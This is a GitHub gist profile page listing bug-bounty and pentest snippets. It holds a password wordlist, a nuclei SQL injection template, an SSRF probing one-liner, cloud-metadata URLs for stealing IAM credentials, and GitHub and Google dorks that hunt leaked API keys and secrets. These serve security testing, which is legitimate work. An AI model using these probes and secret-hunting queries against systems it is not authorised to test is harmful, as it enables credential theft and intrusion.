Skip to content

Instantly share code, notes, and snippets.

View KathanP19's full-sized avatar
🎯
Focusing

Kathan Patel KathanP19

🎯
Focusing
1.3k followers · 28 following
View GitHub Profile
@KathanP19
KathanP19 / passwords.txt
Created June 1, 2022 03:48 — forked from nullenc0de/passwords.txt
August1
August123
August20
August20!
August2020
August2020!
August@20
August@2020
Autumn1
Autumn123
@KathanP19
KathanP19 / burplist.py
Created July 22, 2021 02:59 — forked from bendtheory/burplist.py
import xml.etree.ElementTree as ET
import urllib
import base64
import math
import sys
import re
# usage: Open Burp, navigate to proxy history, ctrl-a to select all records, right click and "Save Items" as an .xml file.
# python burplist.py burprequests.xml
# output is saved to wordlist.txt
@KathanP19
KathanP19 / sqli2.yaml
Created January 2, 2021 02:30 — forked from 0x240x23elu/sqli2.yaml
Basic SQL Injection Detections nuclei Template
id: SQLInjection_ERROR
info:
name: SQLINJECTION Detection
author: 0x240x23elu & OFJAAAH
severity: High
requests:
- method: GET
@KathanP19
KathanP19 / googledork1
Created November 25, 2020 03:19 — forked from TvMpt/googledork1
"example.com" site:bitpaste.app | site:codebeautify.org | site:codepad.org | site:codepen.io | site:codeshare.io | site:dartpad.dartlang.org | site:dotnetfiddle.net | site:dpaste.com | site:dpaste.org | site:dumpz.org | site:gitlab.com | site:hastebin.com | site:heypasteit.com | site:ide.codingblocks.com | site:ide.geeksforgeeks.org | site:ideone.com | site:jsbin.com | site:jsfiddle.net | site:jsitor.com | site:justpaste.it | site:paste.debian.net | site:paste.fedoraproject.org | site:paste.frubar.net | site:paste.lisp.org | site:paste.opensuse.org | site:paste.org | site:paste.org.ru | site:paste.pound-python.org | site:paste.ubuntu.com | site:paste.xinu.at | site:paste2.org | site:pastebin.com | site:pastebin.fr | site:pastehtml.com | site:phpfiddle.org | site:play.golang.org | site:repl.it | site:rextester.com | site:slexy.org | site:snipplr.com | site:snipt.net | site:stackoverflow.com | site:textsnip.com | site:trello.com | site:trello.com | site:try.ceylon-lang.org
@KathanP19
KathanP19 / Ssrf
Created November 24, 2020 15:24 — forked from pikpikcu/Ssrf
curl -s "http://web.archive.org/cdx/search/cdx?url=*.domain/*&output=txt&fl=original&collapse=urlkey&page=/" | gf ssrf | qsreplace "https://localtest.me" | parallel -j50 -q curl -i -s -k -o >(grep -io "<title>[^<]*" | cut -d'>' -f2-) --silent --max-time 2 --write-out 'Status:%{http_code}\t Header-size:%{size_header}tUrl:%{url_effective} || '
@KathanP19
KathanP19 / WAHH_Task_Checklist.md
Last active November 10, 2020 14:05 — forked from jhaddix/Testing_Checklist.md
The Web Application Hacker's Handbook - Task Checklist - Github-Flavored Markdown
@KathanP19
KathanP19 / auto_git_query
Created May 18, 2020 03:46 — forked from nullenc0de/auto_git_query
Automated Github Queries (Can open 29 tabs at a time)
https://github.com/search?q=BROWSER_STACK_ACCESS_KEY= OR BROWSER_STACK_USERNAME= OR browserConnectionEnabled= OR BROWSERSTACK_ACCESS_KEY=&s=indexed&type=Code
https://github.com/search?q=CHROME_CLIENT_SECRET= OR CHROME_EXTENSION_ID= OR CHROME_REFRESH_TOKEN= OR CI_DEPLOY_PASSWORD= OR CI_DEPLOY_USER=&s=indexed&type=Code
https://github.com/search?q=CLOUDAMQP_URL= OR CLOUDANT_APPLIANCE_DATABASE= OR CLOUDANT_ARCHIVED_DATABASE= OR CLOUDANT_AUDITED_DATABASE=&s=indexed&type=Code
https://github.com/search?q=CLOUDANT_ORDER_DATABASE= OR CLOUDANT_PARSED_DATABASE= OR CLOUDANT_PASSWORD= OR CLOUDANT_PROCESSED_DATABASE=&s=indexed&type=Code
https://github.com/search?q=CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN= OR CONTENTFUL_TEST_ORG_CMA_TOKEN= OR CONTENTFUL_V2_ACCESS_TOKEN=&s=indexed&type=Code
https://github.com/search?q=-DSELION_BROWSER_RUN_HEADLESS= OR -DSELION_DOWNLOAD_DEPENDENCIES= OR -DSELION_SELENIUM_RUN_LOCALLY=&s=indexed&type=Code
https://github.com/search?q=ELASTICSEARCH_PASSWORD= OR ELASTICSEARCH_USERNAME= OR EMAIL_NOTIFI
@KathanP19
KathanP19 / auto_git_query_fav
Created May 18, 2020 03:45 — forked from nullenc0de/auto_git_query_fav
Auto_git Favs
https://github.com/search?q=\?AccessKeyId= OR _02ddd67d5586_key= OR 0HB_CODESIGN_GPG_PASS= OR 0HB_CODESIGN_KEY_PASS=&s=indexed&type=Code
https://github.com/search?q=0VIRUSTOTAL_APIKEY= OR ACCESS KEY ID = OR ACCESS_KEY_ID= OR ACCESS_KEY_SECRET= OR ACCESS_KEY=&s=indexed&type=Code
https://github.com/search?q=ACCESS_SECRET= OR ACCESSKEY= OR ACCESSKEYID= OR ADZERK_API_KEY= OR ALGOLIA_ADMIN_KEY_1=&s=indexed&type=Code
https://github.com/search?q=ALGOLIA_ADMIN_KEY_2= OR ALGOLIA_ADMIN_KEY_MCM= OR ALGOLIA_API_KEY_MCM= OR ALGOLIA_API_KEY_SEARCH=&s=indexed&type=Code
https://github.com/search?q=ALGOLIA_API_KEY= OR ALGOLIA_SEARCH_API_KEY= OR ALGOLIA_SEARCH_KEY_1= OR ALGOLIA_SEARCH_KEY=&s=indexed&type=Code
https://github.com/search?q=ALIAS_PASS= OR ALICLOUD_ACCESS_KEY= OR ALICLOUD_SECRET_KEY= OR AMAZON_SECRET_ACCESS_KEY=&s=indexed&type=Code
https://github.com/search?q=ANSIBLE_VAULT_PASSWORD= OR aos_key= OR API_KEY_MCM= OR API_KEY_SECRET= OR API_KEY_SID= OR API_KEY=&s=indexed&type=Code
https://github.com/search?q=API_SECRE
@KathanP19
KathanP19 / cloud_metadata.txt
Created April 23, 2020 02:37 — forked from jhaddix/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## AWS
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@KathanP19
KathanP19 / noobrecon.sh
Created March 27, 2020 15:25 — forked from noobh4x/noobrecon.sh
#!/bin/bash
####################################
# Config
##################
HTTPROBE_CONCURRENCY=100
HTTPROBE_TIMEOUT=3000
DIRSEARCH_THREADS=50